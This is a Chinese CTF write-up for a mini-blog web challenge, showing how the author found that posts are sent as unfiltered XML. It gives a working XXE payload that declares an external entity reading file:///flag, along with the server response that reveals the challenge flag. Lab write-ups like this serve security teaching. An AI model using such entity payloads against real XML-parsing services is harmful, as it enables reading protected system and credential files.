

# 迷你博客空间

公告：这是一个由网络空间安全协会编写的迷你博客系统，应该没有问题吧。

欢迎来到 Beta 版！

这是一个极简的博客平台。你可以在这里分享你的想法，或者更新你的个人信息。

发布者: 管理员

示例文章标题

这是一篇静态的示例文章。快去尝试创建属于你自己的内容吧！

发布者: 访客

进来是一个迷你博客

## 发布新文章

文章标题

请输入引人注目的标题

文章内容

在这里写下你的想法 (支持纯文本)...

立即发布

进入发送文章这里，随便发一下，内容直接显示出来了

✓ 文章发布成功！

标题： dfs

内容概要： dfa

文章标题

请输入引人注目的标题

文章内容

在这里写下你的想法 (支持纯文本)...

立即发布

刚开始我想的是xss，但是用的html标签显示的都是None

✓ 文章发布成功！

标题： None

内容概要： None

文章标题

请输入引人注目的标题

文章内容

在这里写下你的想法 (支持纯文本)...

用bp抓包，可以看到传上去的是xml

```
美化 Raw Hex
1 POST /create HTTP/1.1
2 Host: challenge.shc.tf:32220
3 Content-Length: 93
4 Accept-Language: en-US
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100
  Safari/537.36
6 Content-Type: application/xml; charset=utf-8
7 Accept: */*
8 Origin: http://challenge.shc.tf:32220
9 Referer: http://challenge.shc.tf:32220/create
10 Accept-Encoding: gzip, deflate, br
11 Connection: keep-alive
12
13 <?xml version="1.0" encoding="UTF-8"?>
    <post>
      <title>
        erew
      </title>
      <content>
        rwre
      </content>
    </post>
```

经过测试，是一点waf也没有

|                                                                                                                                                                                                                                                                                                                                                                  |                                                                                                                                                                                                                                                                                      |
|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| <pre>10 Accept-Encoding: gzip, deflate, br 11 Connection: keep-alive 12 13 &lt;?xml version="1.0"?&gt; 14   &lt;!DOCTYPE foo [ 15     &lt;!ENTITY xxe SYSTEM "file:///flag"&gt; 16   ]&gt; 17   &lt;post&gt; 18     &lt;title&gt; 19       正常标题 20     &lt;/title&gt; 21     &lt;content&gt; 22       &amp;xxe; 23     &lt;/content&gt; 24   &lt;/post&gt;</pre> | <pre>11 &lt;/h4&gt; 12 &lt;hr&gt; 13 &lt;p&gt; 14   &lt;strong&gt; 15     标题 : 16   &lt;/strong&gt; 17   正常标题 18 &lt;/p&gt; 19 &lt;p&gt; 20   &lt;strong&gt; 21     内容概要 : 22   &lt;/strong&gt; 23   SHCTF{13a334f4-46b4-436d-8608-03b47431fdf8} 24 &lt;/p&gt; 25 &lt;/div&gt;</pre> |
|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|